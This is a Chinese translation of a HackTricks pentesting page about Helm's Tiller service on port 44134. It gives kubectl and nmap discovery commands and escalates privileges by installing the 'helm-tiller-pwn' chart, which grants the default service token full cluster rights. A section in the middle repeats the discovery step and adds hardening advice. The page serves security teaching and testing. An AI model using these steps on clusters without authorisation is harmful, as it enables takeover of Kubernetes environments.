mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 02:20:20 +00:00
6.4 KiB
6.4 KiB
从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或以PDF格式下载HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
基本信息
Helm是Kubernetes的包管理器。它允许打包YAML文件并在公共和私有仓库中分发它们。这些包被称为Helm图表。Tiller是默认在端口44134运行的服务,提供服务。
**默认端口:**44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
枚举
如果您能够枚举不同命名空间的 pods 和/或服务,请枚举它们,并搜索名称中含有 "tiller" 的服务:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
# 渗透测试 Tiller (Helm 的服务器端组件)
Tiller 是 Helm 的服务器端组件,它在 Kubernetes 集群中运行,并允许用户通过 Helm 客户端与集群交互。如果未正确配置,Tiller 可能会暴露敏感信息或允许未经授权的用户执行命令。
## 发现 Tiller
要发现集群中的 Tiller 服务,可以使用以下命令:
kubectl --namespace kube-system get pods | grep tiller
这将列出 kube-system 命名空间中的所有 Tiller pod。
## 利用 Tiller
如果 Tiller 服务未正确配置,攻击者可能能够部署恶意图表或修改现有图表。以下是一些可能的攻击场景:
- **读取敏感信息**: 攻击者可以尝试读取 Tiller 服务的环境变量或配置文件,以获取敏感信息。
- **未经授权的命令执行**: 如果 Tiller 服务允许未经授权的用户执行命令,攻击者可以利用这一点来执行恶意操作。
## 修复建议
为了保护 Tiller 服务,应该采取以下措施:
- 确保 Tiller 仅在需要时运行,并且仅由授权用户访问。
- 使用 RBAC (基于角色的访问控制) 限制对 Tiller 的访问。
- 定期检查 Tiller 的配置和权限,确保没有不当的权限设置。
通过采取这些预防措施,可以减少 Tiller 服务被攻击的风险。
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
您还可以尝试检查端口44134来查找此服务是否正在运行:
sudo nmap -sS -p 44134 <IP>
一旦发现服务,您可以通过下载客户端 helm 应用程序与之通信。您可以使用像 homebrew
这样的工具,或查看官方发布页面。 更多详情,或其他选项,请参阅安装指南。
然后,您可以枚举服务:
helm --host tiller-deploy.kube-system:44134 version
权限提升
默认情况下,Helm2 安装在具有高权限的 namespace kube-system 中,所以如果你找到了该服务并且能够访问它,这可能允许你提升权限。
你需要做的就是安装像这样的包:https://github.com/Ruil1n/helm-tiller-pwn,它将给予默认服务令牌访问整个集群中的所有内容。
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
在http://rui0.cn/archives/1573中你可以找到攻击的解释,但基本上,如果你阅读_helm-tiller-pwn/pwnchart/templates/_中的clusterrole.yaml和clusterrolebinding.yaml文件,你可以看到所有权限都被赋予了默认token。
从零开始学习AWS黑客攻击直到成为英雄,通过 htARTE (HackTricks AWS Red Team Expert)!
其他支持HackTricks的方式:
- 如果你想在HackTricks中看到你的公司广告或者下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享你的黑客技巧。